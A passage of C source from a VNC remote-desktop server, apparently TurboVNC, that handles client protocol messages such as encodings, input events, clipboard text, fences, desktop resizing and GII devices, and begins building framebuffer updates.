cl->enableCU = TRUE; } break; case rfbEncodingNewFBSize: if (!cl->enableDesktopSize) { if (!rfbAuthDisableRemoteResize) { rfbLog("Enabling Desktop Size protocol extension for client %s\n", cl->host); cl->enableDesktopSize = TRUE; } else rfbLog("WARNING: Remote desktop resizing disabled per system policy.\n"); } break; case rfbEncodingExtendedDesktopSize: if (!cl->enableExtDesktopSize) { if (!rfbAuthDisableRemoteResize) { rfbLog("Enabling Extended Desktop Size protocol extension for client %s\n", cl->host); cl->enableExtDesktopSize = TRUE; } else rfbLog("WARNING: Remote desktop resizing disabled per system policy.\n"); } break; case rfbEncodingGII: if (!cl->enableGII) { rfbLog("Enabling GII extension for client %s\n", cl->host); cl->enableGII = TRUE; } break; default: if (enc >= (CARD32)rfbEncodingCompressLevel0 && enc <= (CARD32)rfbEncodingCompressLevel9) { cl->zlibCompressLevel = enc & 0x0F; cl->tightCompressLevel = enc & 0x0F; if (cl->preferredEncoding == rfbEncodingTight) logTightCompressLevel = TRUE; else rfbLog("Using compression level %d for client %s\n", cl->tightCompressLevel, cl->host); if (rfbInterframe == -1) { if (cl->tightCompressLevel >= 5) { if (!InterframeOn(cl)) { rfbCloseClient(cl); return; } } else InterframeOff(cl); } } else if (enc >= (CARD32)rfbEncodingSubsamp1X && enc <= (CARD32)rfbEncodingSubsampGray) { cl->tightSubsampLevel = enc & 0xFF; rfbLog("Using JPEG subsampling %d for client %s\n", cl->tightSubsampLevel, cl->host); } else if (enc >= (CARD32)rfbEncodingQualityLevel0 && enc <= (CARD32)rfbEncodingQualityLevel9) { cl->tightQualityLevel = JPEG_QUAL[enc & 0x0F]; cl->tightSubsampLevel = JPEG_SUBSAMP[enc & 0x0F]; cl->imageQualityLevel = enc & 0x0F; if (cl->preferredEncoding == rfbEncodingTight) rfbLog("Using JPEG subsampling %d, Q%d for client %s\n", cl->tightSubsampLevel, cl->tightQualityLevel, cl->host); else rfbLog("Using image quality level %d for client %s\n", cl->imageQualityLevel, cl->host); } else if (enc >= (CARD32)rfbEncodingFineQualityLevel0 + 1 && enc <= (CARD32)rfbEncodingFineQualityLevel100) { cl->tightQualityLevel = enc & 0xFF; rfbLog("Using JPEG quality %d for client %s\n", cl->tightQualityLevel, cl->host); } else { rfbLog("rfbProcessClientNormalMessage: ignoring unknown encoding %d (%x)\n", (int)enc, (int)enc); } } /* switch (enc) */ } /* for (i = 0; i < msg.se.nEncodings; i++) */ if (cl->preferredEncoding == -1) cl->preferredEncoding = rfbEncodingTight; if (cl->preferredEncoding == rfbEncodingTight && logTightCompressLevel) rfbLog("Using Tight compression level %d for client %s\n", rfbTightCompressLevel(cl), cl->host); if (cl->enableCursorPosUpdates && !cl->enableCursorShapeUpdates) { rfbLog("Disabling cursor position updates for client %s\n", cl->host); cl->enableCursorPosUpdates = FALSE; } if (cl->enableFence && firstFence) { if (!rfbSendFence(cl, rfbFenceFlagRequest, 0, NULL)) return; } if (cl->enableCU && cl->enableFence && firstCU) { if (!rfbSendEndOfCU(cl)) return; } if (cl->enableGII && firstGII) { /* Send GII server version message to all clients */ rfbGIIServerVersionMsg msg; msg.type = rfbGIIServer; /* We always send as big endian to make things easier on the Java viewer. */ msg.endianAndSubType = rfbGIIVersion | rfbGIIBE; msg.length = Swap16IfLE(sz_rfbGIIServerVersionMsg - 4); msg.maximumVersion = msg.minimumVersion = Swap16IfLE(1); if (WriteExact(cl, (char *)&msg, sz_rfbGIIServerVersionMsg) < 0) { rfbLogPerror("rfbProcessClientNormalMessage: write"); rfbCloseClient(cl); return; } } return; } /* rfbSetEncodings */ case rfbFramebufferUpdateRequest: { RegionRec tmpRegion; BoxRec box; READ(((char *)&msg) + 1, sz_rfbFramebufferUpdateRequestMsg - 1) box.x1 = Swap16IfLE(msg.fur.x); box.y1 = Swap16IfLE(msg.fur.y); box.x2 = box.x1 + Swap16IfLE(msg.fur.w); box.y2 = box.y1 + Swap16IfLE(msg.fur.h); SAFE_REGION_INIT(pScreen, &tmpRegion, &box, 0); if (!msg.fur.incremental || !cl->continuousUpdates) REGION_UNION(pScreen, &cl->requestedRegion, &cl->requestedRegion, &tmpRegion); if (!cl->readyForSetColourMapEntries) { /* client hasn't sent a SetPixelFormat so is using server's */ cl->readyForSetColourMapEntries = TRUE; if (!cl->format.trueColour) { if (!rfbSetClientColourMap(cl, 0, 0)) { REGION_UNINIT(pScreen, &tmpRegion); return; } } } if (!msg.fur.incremental) { REGION_UNION(pScreen, &cl->modifiedRegion, &cl->modifiedRegion, &tmpRegion); REGION_SUBTRACT(pScreen, &cl->copyRegion, &cl->copyRegion, &tmpRegion); REGION_UNION(pScreen, &cl->ifRegion, &cl->ifRegion, &tmpRegion); cl->pendingExtDesktopResize = TRUE; } if (FB_UPDATE_PENDING(cl) && (!cl->deferredUpdateScheduled || rfbDeferUpdateTime == 0 || gettime() - cl->deferredUpdateStart >= (double)rfbDeferUpdateTime)) { if (rfbSendFramebufferUpdate(cl)) cl->deferredUpdateScheduled = FALSE; } REGION_UNINIT(pScreen, &tmpRegion); return; } case rfbKeyEvent: cl->rfbKeyEventsRcvd++; READ(((char *)&msg) + 1, sz_rfbKeyEventMsg - 1) if (!rfbViewOnly && !cl->viewOnly) KeyEvent((KeySym)Swap32IfLE(msg.ke.key), msg.ke.down); return; case rfbPointerEvent: cl->rfbPointerEventsRcvd++; READ(((char *)&msg) + 1, sz_rfbPointerEventMsg - 1) if (pointerClient && (pointerClient != cl)) return; if (msg.pe.buttonMask == 0) pointerClient = NULL; else pointerClient = cl; if (!rfbViewOnly && !cl->viewOnly) { cl->cursorX = (int)Swap16IfLE(msg.pe.x); cl->cursorY = (int)Swap16IfLE(msg.pe.y); PtrAddEvent(msg.pe.buttonMask, cl->cursorX, cl->cursorY, cl); } return; case rfbClientCutText: { int ignoredBytes = 0; READ(((char *)&msg) + 1, sz_rfbClientCutTextMsg - 1) msg.cct.length = Swap32IfLE(msg.cct.length); if (msg.cct.length > rfbMaxClipboard) { rfbLog("Truncating %d-byte clipboard update to %d bytes.\n", msg.cct.length, rfbMaxClipboard); ignoredBytes = msg.cct.length - rfbMaxClipboard; msg.cct.length = rfbMaxClipboard; } if (msg.cct.length <= 0) return; str = (char *)malloc(msg.cct.length); if (str == NULL) { rfbLogPerror("rfbProcessClientNormalMessage: rfbClientCutText out of memory"); rfbCloseClient(cl); return; } if ((n = ReadExact(cl, str, msg.cct.length)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); free(str); rfbCloseClient(cl); return; } if (ignoredBytes > 0) { if ((n = SkipExact(cl, ignoredBytes)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); free(str); rfbCloseClient(cl); return; } } /* NOTE: We do not accept cut text from a view-only client */ if (!rfbViewOnly && !cl->viewOnly && !rfbAuthDisableCBRecv) { vncClientCutText(str, msg.cct.length); if (rfbSyncCutBuffer) rfbSetXCutText(str, msg.cct.length); } free(str); return; } case rfbEnableContinuousUpdates: { BoxRec box; READ(((char *)&msg) + 1, sz_rfbEnableContinuousUpdatesMsg - 1) if (!cl->enableFence || !cl->enableCU) { rfbLog("Ignoring request to enable continuous updates because the client does not\n"); rfbLog("support the flow control extensions.\n"); return; } box.x1 = Swap16IfLE(msg.ecu.x); box.y1 = Swap16IfLE(msg.ecu.y); box.x2 = box.x1 + Swap16IfLE(msg.ecu.w); box.y2 = box.y1 + Swap16IfLE(msg.ecu.h); SAFE_REGION_INIT(pScreen, &cl->cuRegion, &box, 0); cl->continuousUpdates = msg.ecu.enable; if (cl->continuousUpdates) { REGION_EMPTY(pScreen, &cl->requestedRegion); if (!rfbSendFramebufferUpdate(cl)) return; } else { if (!rfbSendEndOfCU(cl)) return; } rfbLog("Continuous updates %s\n", cl->continuousUpdates ? "enabled" : "disabled"); return; } case rfbFence: { CARD32 flags; char data[64]; READ(((char *)&msg) + 1, sz_rfbFenceMsg - 1) flags = Swap32IfLE(msg.f.flags); if (msg.f.length > sizeof(data)) { rfbLog("Ignoring fence. Payload of %d bytes is too large.\n", msg.f.length); SKIP(msg.f.length) } else { READ(data, msg.f.length) HandleFence(cl, flags, msg.f.length, data); } return; } #define EDSERROR(format, args...) { \ if (!strlen(errMsg)) \ snprintf(errMsg, 256, "Desktop resize ERROR: "format"\n", args); \ result = rfbEDSResultInvalid; \ } case rfbSetDesktopSize: { int i; struct xorg_list newScreens; rfbClientPtr cl2; int result = rfbEDSResultSuccess; char errMsg[256] = "\0"; ScreenPtr pScreen = screenInfo.screens[0]; READ(((char *)&msg) + 1, sz_rfbSetDesktopSizeMsg - 1) if (msg.sds.numScreens < 1) EDSERROR("Requested number of screens %d is invalid", msg.sds.numScreens); msg.sds.w = Swap16IfLE(msg.sds.w); msg.sds.h = Swap16IfLE(msg.sds.h); if (msg.sds.w < 1 || msg.sds.h < 1) EDSERROR("Requested framebuffer dimensions %dx%d are invalid", msg.sds.w, msg.sds.h); xorg_list_init(&newScreens); for (i = 0; i < msg.sds.numScreens; i++) { rfbScreenInfo *screen = rfbNewScreen(0, 0, 0, 0, 0, 0); READ((char *)&screen->s, sizeof(rfbScreenDesc)) screen->s.id = Swap32IfLE(screen->s.id); screen->s.x = Swap16IfLE(screen->s.x); screen->s.y = Swap16IfLE(screen->s.y); screen->s.w = Swap16IfLE(screen->s.w); screen->s.h = Swap16IfLE(screen->s.h); screen->s.flags = Swap32IfLE(screen->s.flags); if (screen->s.w < 1 || screen->s.h < 1) EDSERROR("Screen 0x%.8x requested dimensions %dx%d are invalid", (unsigned int)screen->s.id, screen->s.w, screen->s.h); if (screen->s.x >= msg.sds.w || screen->s.y >= msg.sds.h || screen->s.x + screen->s.w > msg.sds.w || screen->s.y + screen->s.h > msg.sds.h) EDSERROR("Screen 0x%.8x requested geometry %dx%d+%d+%d exceeds requested framebuffer dimensions", (unsigned int)screen->s.id, screen->s.w, screen->s.h, screen->s.x, screen->s.y); if (rfbFindScreenID(&newScreens, screen->s.id)) { EDSERROR("Screen 0x%.8x duplicate ID", (unsigned int)screen->s.id); free(screen); } else rfbAddScreen(&newScreens, screen); } if (cl->viewOnly) { rfbLog("NOTICE: Ignoring remote desktop resize request from a view-only client.\n"); result = rfbEDSResultProhibited; } else if (result == rfbEDSResultSuccess) { result = ResizeDesktop(pScreen, cl, msg.sds.w, msg.sds.h, &newScreens); if (result == rfbEDSResultSuccess) return; } else rfbLog(errMsg); rfbRemoveScreens(&newScreens); /* Send back the error only to the requesting client. This loop is necessary because the client may have been shut down as a result of an error in ResizeDesktop(). */ for (cl2 = rfbClientHead; cl2; cl2 = cl2->next) { if (cl2 == cl) { cl2->pendingExtDesktopResize = TRUE; cl2->reason = rfbEDSReasonClient; cl2->result = result; rfbSendFramebufferUpdate(cl2); break; } } return; } case rfbGIIClient: { CARD8 endianAndSubType, littleEndian, subType; READ((char *)&endianAndSubType, 1); littleEndian = (endianAndSubType & rfbGIIBE) ? 0 : 1; subType = endianAndSubType & ~rfbGIIBE; switch (subType) { case rfbGIIVersion: READ((char *)&msg.giicv.length, sz_rfbGIIClientVersionMsg - 2); if (littleEndian != *(const char *)&rfbEndianTest) { msg.giicv.length = Swap16(msg.giicv.length); msg.giicv.version = Swap16(msg.giicv.version); } if (msg.giicv.length != sz_rfbGIIClientVersionMsg - 4 || msg.giicv.version < 1) { rfbLog("ERROR: Malformed GII client version message\n"); rfbCloseClient(cl); return; } rfbLog("Client supports GII version %d\n", msg.giicv.version); break; case rfbGIIDeviceCreate: { int i; rfbDevInfo dev; rfbGIIDeviceCreatedMsg dcmsg; memset(&dev, 0, sizeof(dev)); dcmsg.deviceOrigin = 0; READ((char *)&msg.giidc.length, sz_rfbGIIDeviceCreateMsg - 2); if (littleEndian != *(const char *)&rfbEndianTest) { msg.giidc.length = Swap16(msg.giidc.length); msg.giidc.vendorID = Swap32(msg.giidc.vendorID); msg.giidc.productID = Swap32(msg.giidc.productID); msg.giidc.canGenerate = Swap32(msg.giidc.canGenerate); msg.giidc.numRegisters = Swap32(msg.giidc.numRegisters); msg.giidc.numValuators = Swap32(msg.giidc.numValuators); msg.giidc.numButtons = Swap32(msg.giidc.numButtons); } rfbLog("GII Device Create: %s\n", msg.giidc.deviceName); #ifdef GII_DEBUG rfbLog(" Vendor ID: %d\n", msg.giidc.vendorID); rfbLog(" Product ID: %d\n", msg.giidc.productID); rfbLog(" Event mask: %.8x\n", msg.giidc.canGenerate); rfbLog(" Registers: %d\n", msg.giidc.numRegisters); rfbLog(" Valuators: %d\n", msg.giidc.numValuators); rfbLog(" Buttons: %d\n", msg.giidc.numButtons); #endif if (msg.giidc.length != sz_rfbGIIDeviceCreateMsg - 4 + msg.giidc.numValuators * sz_rfbGIIValuator) { rfbLog("ERROR: Malformed GII device create message\n"); rfbCloseClient(cl); return; } if (msg.giidc.numButtons > MAX_BUTTONS) { rfbLog("GII device create ERROR: %d buttons exceeds max of %d\n", msg.giidc.numButtons, MAX_BUTTONS); SKIP(msg.giidc.numValuators * sz_rfbGIIValuator); goto sendMessage; } if (msg.giidc.numValuators > MAX_VALUATORS) { rfbLog("GII device create ERROR: %d valuators exceeds max of %d\n", msg.giidc.numValuators, MAX_VALUATORS); SKIP(msg.giidc.numValuators * sz_rfbGIIValuator); goto sendMessage; } memcpy(&dev.name, msg.giidc.deviceName, 32); dev.numButtons = msg.giidc.numButtons; dev.numValuators = msg.giidc.numValuators; dev.eventMask = msg.giidc.canGenerate; dev.mode = (dev.eventMask & rfbGIIValuatorAbsoluteMask) ? Absolute : Relative; dev.productID = msg.giidc.productID; if (dev.mode == Relative) { rfbLog("GII device create ERROR: relative valuators not supported (yet)\n"); SKIP(msg.giidc.numValuators * sz_rfbGIIValuator); goto sendMessage; } for (i = 0; i < dev.numValuators; i++) { rfbGIIValuator *v = &dev.valuators[i]; READ((char *)v, sz_rfbGIIValuator); if (littleEndian != *(const char *)&rfbEndianTest) { v->index = Swap32(v->index); v->rangeMin = Swap32((CARD32)v->rangeMin); v->rangeCenter = Swap32((CARD32)v->rangeCenter); v->rangeMax = Swap32((CARD32)v->rangeMax); v->siUnit = Swap32(v->siUnit); v->siAdd = Swap32((CARD32)v->siAdd); v->siMul = Swap32((CARD32)v->siMul); v->siDiv = Swap32((CARD32)v->siDiv); v->siShift = Swap32((CARD32)v->siShift); } #ifdef GII_DEBUG rfbLog(" Valuator: %s (%s)\n", v->longName, v->shortName); rfbLog(" Index: %d\n", v->index); rfbLog(" Range: min = %d, center = %d, max = %d\n", v->rangeMin, v->rangeCenter, v->rangeMax); rfbLog(" SI unit: %d\n", v->siUnit); rfbLog(" SI add: %d\n", v->siAdd); rfbLog(" SI multiply: %d\n", v->siMul); rfbLog(" SI divide: %d\n", v->siDiv); rfbLog(" SI shift: %d\n", v->siShift); #endif } for (i = 0; i < cl->numDevices; i++) { if (!strcmp(dev.name, cl->devices[i].name)) { rfbLog("Device \'%s\' already exists with GII device ID %d\n", dev.name, i + 1); dcmsg.deviceOrigin = Swap32IfLE(i + 1); goto sendMessage; } } if (rfbVirtualTablet || AddExtInputDevice(&dev)) { memcpy(&cl->devices[cl->numDevices], &dev, sizeof(dev)); cl->numDevices++; dcmsg.deviceOrigin = Swap32IfLE(cl->numDevices); } rfbLog("GII device ID = %d\n", cl->numDevices); sendMessage: /* Send back a GII device created message */ dcmsg.type = rfbGIIServer; /* We always send as big endian to make things easier on the Java viewer. */ dcmsg.endianAndSubType = rfbGIIDeviceCreate | rfbGIIBE; dcmsg.length = Swap16IfLE(sz_rfbGIIDeviceCreatedMsg - 4); if (WriteExact(cl, (char *)&dcmsg, sz_rfbGIIDeviceCreatedMsg) < 0) { rfbLogPerror("rfbProcessClientNormalMessage: write"); rfbCloseClient(cl); return; } break; } case rfbGIIDeviceDestroy: READ((char *)&msg.giidd.length, sz_rfbGIIDeviceDestroyMsg - 2); if (littleEndian != *(const char *)&rfbEndianTest) { msg.giidd.length = Swap16(msg.giidd.length); msg.giidd.deviceOrigin = Swap32(msg.giidd.deviceOrigin); } if (msg.giidd.length != sz_rfbGIIDeviceDestroyMsg - 4) { rfbLog("ERROR: Malformed GII device create message\n"); rfbCloseClient(cl); return; } RemoveExtInputDevice(cl, msg.giidd.deviceOrigin - 1); break; case rfbGIIEvent: { CARD16 length; READ((char *)&length, sizeof(CARD16)); if (littleEndian != *(const char *)&rfbEndianTest) length = Swap16(length); while (length > 0) { CARD8 eventSize, eventType; READ((char *)&eventSize, 1); READ((char *)&eventType, 1); switch (eventType) { case rfbGIIButtonPress: case rfbGIIButtonRelease: { rfbGIIButtonEvent b; rfbDevInfo *dev; READ((char *)&b.pad, sz_rfbGIIButtonEvent - 2); if (littleEndian != *(const char *)&rfbEndianTest) { b.deviceOrigin = Swap32(b.deviceOrigin); b.buttonNumber = Swap32(b.buttonNumber); } if (eventSize != sz_rfbGIIButtonEvent || b.deviceOrigin <= 0 || b.buttonNumber < 1) { rfbLog("ERROR: Malformed GII button event\n"); rfbCloseClient(cl); return; } if (eventSize > length) { rfbLog("ERROR: Malformed GII event message\n"); rfbCloseClient(cl); return; } length -= eventSize; if (b.deviceOrigin < 1 || b.deviceOrigin > cl->numDevices) { rfbLog("ERROR: GII button event from non-existent device %d\n", b.deviceOrigin); rfbCloseClient(cl); return; } dev = &cl->devices[b.deviceOrigin - 1]; if ((eventType == rfbGIIButtonPress && (dev->eventMask & rfbGIIButtonPressMask) == 0) || (eventType == rfbGIIButtonRelease && (dev->eventMask & rfbGIIButtonReleaseMask) == 0)) { rfbLog("ERROR: Device %d can't generate GII button events\n", b.deviceOrigin); rfbCloseClient(cl); return; } if (b.buttonNumber > dev->numButtons) { rfbLog("ERROR: GII button %d event for device %d exceeds button count (%d)\n", b.buttonNumber, b.deviceOrigin, dev->numButtons); rfbCloseClient(cl); return; } #ifdef GII_DEBUG rfbLog("Device %d button %d %s\n", b.deviceOrigin, b.buttonNumber, eventType == rfbGIIButtonPress ? "PRESS" : "release"); fflush(stderr); #endif ExtInputAddEvent(dev, eventType == rfbGIIButtonPress ? ButtonPress : ButtonRelease, b.buttonNumber); break; } case rfbGIIValuatorRelative: case rfbGIIValuatorAbsolute: { rfbGIIValuatorEvent v; int i; rfbDevInfo *dev; READ((char *)&v.pad, sz_rfbGIIValuatorEvent - 2); if (littleEndian != *(const char *)&rfbEndianTest) { v.deviceOrigin = Swap32(v.deviceOrigin); v.first = Swap32(v.first); v.count = Swap32(v.count); } if (eventSize != sz_rfbGIIValuatorEvent + sizeof(int) * v.count) { rfbLog("ERROR: Malformed GII valuator event\n"); rfbCloseClient(cl); return; } if (eventSize > length) { rfbLog("ERROR: Malformed GII event message\n"); rfbCloseClient(cl); return; } length -= eventSize; if (v.deviceOrigin < 1 || v.deviceOrigin > cl->numDevices) { rfbLog("ERROR: GII valuator event from non-existent device %d\n", v.deviceOrigin); rfbCloseClient(cl); return; } dev = &cl->devices[v.deviceOrigin - 1]; if ((eventType == rfbGIIValuatorRelative && (dev->eventMask & rfbGIIValuatorRelativeMask) == 0) || (eventType == rfbGIIValuatorAbsolute && (dev->eventMask & rfbGIIValuatorAbsoluteMask) == 0)) { rfbLog("ERROR: Device %d cannot generate GII valuator events\n", v.deviceOrigin); rfbCloseClient(cl); return; } if (v.first + v.count > dev->numValuators) { rfbLog("ERROR: GII valuator event for device %d exceeds valuator count (%d)\n", v.deviceOrigin, dev->numValuators); rfbCloseClient(cl); return; } #ifdef GII_DEBUG rfbLog("Device %d Valuator %s first=%d count=%d:\n", v.deviceOrigin, eventType == rfbGIIValuatorRelative ? "rel" : "ABS", v.first, v.count); #endif for (i = v.first; i < v.first + v.count; i++) { READ((char *)&dev->values[i], sizeof(int)); if (littleEndian != *(const char *)&rfbEndianTest) dev->values[i] = Swap32((CARD32)dev->values[i]); #ifdef GII_DEBUG fprintf(stderr, "v[%d]=%d ", i, dev->values[i]); #endif } #ifdef GII_DEBUG fprintf(stderr, "\n"); #endif if (v.count > 0) { dev->valFirst = v.first; dev->valCount = v.count; dev->mode = eventType == rfbGIIValuatorAbsolute ? Absolute : Relative; ExtInputAddEvent(dev, MotionNotify, 0); } break; } default: rfbLog("ERROR: This server cannot handle GII event type %d\n", eventType); rfbCloseClient(cl); return; } /* switch (eventType) */ } /* while (length > 0) */ if (length != 0) { rfbLog("ERROR: Malformed GII event message\n"); rfbCloseClient(cl); return; } break; } /* rfbGIIEvent */ } /* switch (subType) */ return; } /* rfbGIIClient */ default: rfbLog("rfbProcessClientNormalMessage: unknown message type %d\n", msg.type); rfbLog(" ... closing connection\n"); rfbCloseClient(cl); return; } /* switch (msg.type) */ } /* * rfbSendFramebufferUpdate - send the currently pending framebuffer update to * the RFB client. */ Bool rfbSendFramebufferUpdate(rfbClientPtr cl) { ScreenPtr pScreen = screenInfo.screens[0]; int i; int nUpdateRegionRects; rfbFramebufferUpdateMsg *fu = (rfbFramebufferUpdateMsg *)updateBuf; RegionRec _updateRegion, *updateRegion = &_updateRegion, updateCopyRegion, idRegion; Bool emptyUpdateRegion = FALSE; rfbClientPtr cl2; int dx, dy; Bool sendCursorShape = FALSE; Bool sendCursorPos = FALSE; double tUpdateStart = 0.0; TimerCancel(cl->updateTimer); /* * We're in the middle of processing a command that's supposed to be * synchronised. Allowing an update to slip out right now might violate * that synchronisation. */ if (cl->syncFence) return TRUE; if (cl->state != RFB_NORMAL) return TRUE; if (rfbProfile) { tUpdateStart = gettime(); if (tStart < 0.) tStart = tUpdateStart; } /* Check that we actually have some space on the link and retry in a bit if things are congested. */ if (rfbCongestionControl && rfbIsCongested(cl)) { cl->updateTimer = TimerSet(cl->updateTimer, 0, 50, updateCallback, cl); return TRUE; } /* In continuous mode, we will be outputting at least three distinct messages. We need to aggregate these in order to not clog up TCP's congestion window. */ rfbCorkSock(cl->sock); if (cl->pendingExtDesktopResize) { if (!rfbSendExtDesktopSize(cl)) return FALSE; cl->pendingExtDesktopResize = FALSE; } if (cl->pendingDesktopResize) { if (!rfbSendDesktopSize(cl)) return FALSE; cl->pendingDesktopResize = FALSE; } if (rfbFB.blockUpdates) { rfbUncorkSock(cl->sock); return TRUE; } /* * If this client understands cursor shape updates, cursor should be * removed from the framebuffer. Otherwise, make sure it's put up. */ if (cl->enableCursorShapeUpdates) { if (rfbFB.cursorIsDrawn) rfbSpriteRemoveCursorAllDev(pScreen); if (!rfbFB.cursorIsDrawn && cl->cursorWasChanged) sendCursorShape = TRUE; } else { if (!rfbFB.cursorIsDrawn) rfbSpriteRestoreCursorAllDev(pScreen); } /* * Do we plan to send cursor position update? */ if (cl->enableCursorPosUpdates && cl->cursorWasMoved) sendCursorPos = TRUE; /* * The modifiedRegion may overlap the destination copyRegion. We remove * any overlapping bits from the copyRegion (since they'd only be * overwritten anyway). */ REGION_SUBTRACT(pScreen, &cl->copyRegion, &cl->copyRegion, &cl->modifiedRegion); /* * The client is interested in the region requestedRegion. The region * which should be updated now is the intersection of requestedRegion * and the union of modifiedRegion and copyRegion. If it's empty then * no update is needed. */ REGION_INIT(pScreen, updateRegion, NullBox, 0); REGION_UNION(pScreen, updateRegion, &cl->copyRegion, &cl->modifiedRegion); if (cl->continuousUpdates) REGION_UNION(pScreen, &cl->requestedRegion, &cl->requestedRegion, &cl->cuRegion); REGION_INTERSECT(pScreen, updateRegion, &cl->requestedRegion, updateRegion); if (!REGION_NOTEMPTY(pScreen, updateRegion) && !sendCursorShape && !sendCursorPos) { REGION_UNINIT(pScreen, updateRegion); return TRUE; } /* * We assume that the client doesn't have any pixel data outside the * requestedRegion. In other words, both the source and destination of a * copy must lie within requestedRegion. So the region we can send as a * copy is the intersection of the copyRegion with both the requestedRegion * and the requestedRegion translated by the amount of the copy. We set * updateCopyRegion to this. */ REGION_INIT(pScreen, &updateCopyRegion, NullBox, 0); REGION_INTERSECT(pScreen, &updateCopyRegion, &cl->copyRegion, &cl->requestedRegion); REGION_TRANSLATE(pScreen, &cl->requestedRegion, cl->copyDX, cl->copyDY); REGION_INTERSECT(pScreen, &updateCopyRegion, &updateCopyRegion, &cl->requestedRegion); dx = cl->copyDX; dy = cl->copyDY; /* * Next we remove updateCopyRegion from updateRegion so that updateRegion * is the part of this update which is sent as ordinary pixel data (i.e not * a copy). */ REGION_SUBTRACT(pScreen, updateRegion, updateRegion, &updateCopyRegion); /* * Finally we leave modifiedRegion to be the remainder (if any) of parts of * the screen which are modified but outside the requestedRegion. We also * empty both the requestedRegion and the copyRegion - note that we never * carry over a copyRegion for a future update. */ REGION_UNION(pScreen, &cl->modifiedRegion, &cl->modifiedRegion, &cl->copyRegion); REGION_SUBTRACT(pScreen, &cl->modifiedRegion, &cl->modifiedRegion, updateRegion); REGION_SUBTRACT(pScreen, &cl->modifiedRegion, &cl->modifiedRegion, &updateCopyRegion); REGION_EMPTY(pScreen, &cl->requestedRegion); REGION_EMPTY(pScreen, &cl->copyRegion); cl->copyDX = 0; cl->copyDY = 0; /* * Now send the update. */ if (REGION_NUM_RECTS(updateRegion) > rfbCombineRect) { RegionRec combinedUpdateRegion; REGION_INIT(pScreen, &combinedUpdateRegion, REGION_EXTENTS(pScreen, updateRegion), 1); REGION_UNINIT(pScreen, updateRegion); REGION_INIT(pScreen, updateRegion, REGION_EXTENTS(pScreen, &combinedUpdateRegion), 1); REGION_UNINIT(pScreen, &combinedUpdateRegion); } if ((updateRegion->extents.x2 > pScreen->width || updateRegion->extents.y2 > pScreen->height) && REGION_NUM_RECTS(updateRegion) > 0) { rfbLog("WARNING: Framebuffer update at %d,%d with dimensions %dx%d has been clipped to the screen boundaries\n", updateRegion->extents.x1, updateRegion->extents.y1, updateRegion->extents.x2 - updateRegion->extents.x1, updateRegion->extents.y2 - updateRegion->extents.y1); ClipToScreen(pScreen, updateRegion); } if (cl->compareFB) { if ((cl->ifRegion.extents.x2 > pScreen->width || cl->ifRegion.extents.y2 > pScreen->height) && REGION_NUM_RECTS(&cl->ifRegion) > 0) ClipToScreen(pScreen, &cl->ifRegion); updateRegion = &cl->ifRegion; emptyUpdateRegion = TRUE; if (rfbInterframeDebug) REGION_INIT(pScreen, &idRegion, NullBox, 0); for (i = 0; i < REGION_NUM_RECTS(&_updateRegion); i++) { int x = REGION_RECTS(&_updateRegion)[i].x1; int y = REGION_RECTS(&_updateRegion)[i].y1; int w = REGION_RECTS(&_updateRegion)[i].x2 - x; int h = REGION_RECTS(&_updateRegion)[i].y2 - y; int pitch = rfbFB.paddedWidthInBytes; int ps = rfbServerFormat.bitsPerPixel / 8; char *src = &rfbFB.pfbMemory[y * pitch + x * ps]; char *dst = &cl->compareFB[y * pitch + x * ps]; int row, col; int hBlockSize = rfbICEBlockSize == 0 ? w : rfbICEBlockSize; int vBlockSize = rfbICEBlockSize == 0 ? h : rfbICEBlockSize; for (row = 0; row < h; row += vBlockSize) { for (col = 0; col < w; col += hBlockSize) { Bool different = FALSE; int compareWidth = min(hBlockSize, w - col); int compareHeight = min(vBlockSize, h - row); int rows = compareHeight; char *srcPtr = &src[row * pitch + col * ps]; char *dstPtr = &dst[row * pitch + col * ps]; while (rows--) { if (cl->firstCompare || memcmp(srcPtr, dstPtr, compareWidth * ps)) { memcpy(dstPtr, srcPtr, compareWidth * ps); different = TRUE; } srcPtr += pitch; dstPtr += pitch; } if (different || rfbInterframeDebug) { RegionRec tmpRegion; BoxRec box; box.x1 = x + col; box.y1 = y + row; box.x2 = box.x1 + compareWidth; box.y2 = box.y1 + compareHeight; REGION_INIT(pScreen, &tmpRegion, &box, 1); if (!different && rfbInterframeDebug && !RECT_IN_REGION(pScreen, &cl->ifRegion, &box)) { int pad = pitch - compareWidth * ps; dstPtr = &dst[row * pitch + col * ps]; REGION_UNION(pScreen, &idRegion, &idRegion, &tmpRegion); rows = compareHeight; while (rows--) { char *endOfRow = &dstPtr[compareWidth * ps]; while (dstPtr < endOfRow) *dstPtr++ ^= 0xFF; dstPtr += pad; } } REGION_UNION(pScreen, &cl->ifRegion, &cl->ifRegion, &tmpRegion); REGION_UNINIT(pScreen, &tmpRegion); } if (!different && rfbProfile) { idmpixels += (double)(compareWidth * compareHeight) / 1000000.; if (!rfbInterframeDebug) mpixels += (double)(compareWidth * compareHeight) / 1000000.; } } } } REGION_UNINIT(pScreen, &_updateRegion); REGION_NULL(pScreen, &_updateRegion); cl->firstCompare = FALSE; /* The Windows TurboVNC Viewer (and probably some other VNC viewers as well) will ignore any empty FBUs and stop sending FBURs when it receives one. If CU is not active, then this causes the viewer to stop receiving updates until something else, such as a mouse cursor change, triggers a new FBUR. Thus, if the ICE culls all of the pixels in this update, we send a 1-pixel FBU rather than an empty one. */ if (REGION_NUM_RECTS(updateRegion) == 0) { BoxRec box; box.x1 = box.y1 = 0; box.x2 = box.y2 = 1; REGION_UNINIT(pScreen, updateRegion); REGION_INIT(pScreen, updateRegion, &box, 1); } } if (!rfbSendRTTPing(cl)) goto abort; cl->rfbFramebufferUpdateMessagesSent++; if (cl->preferredEncoding == rfbEncodingCoRRE) { nUpdateRegionRects = 0; for (i = 0; i < REGION_NUM_RECTS(updateRegion); i++) { int x = REGION_RECTS(updateRegion)[i].x1; int y = REGION_RECTS(updateRegion)[i].y1; int w = REGION_RECTS(updateRegion)[i].x2 - x; int h = REGION_RECTS(updateRegion)[i].y2 - y; nUpdateRegionRects += (((w - 1) / cl->correMaxWidth + 1) * ((h - 1) / cl->correMaxHeight + 1)); } } else if (cl->preferredEncoding == rfbEncodingZlib) { nUpdateRegionRects = 0; for (i = 0; i < REGION_NUM_RECTS(updateRegion); i++) { int x = REGION_RECTS(updateRegion)[i].x1; int y = REGION_RECTS(updateRegion)[i].y1; int w = REGION_RECTS(updateRegion)[i].x2 - x; int h = REGION_RECTS(updateRegion)[i].y2 - y; nUpdateRegionRects += (((h - 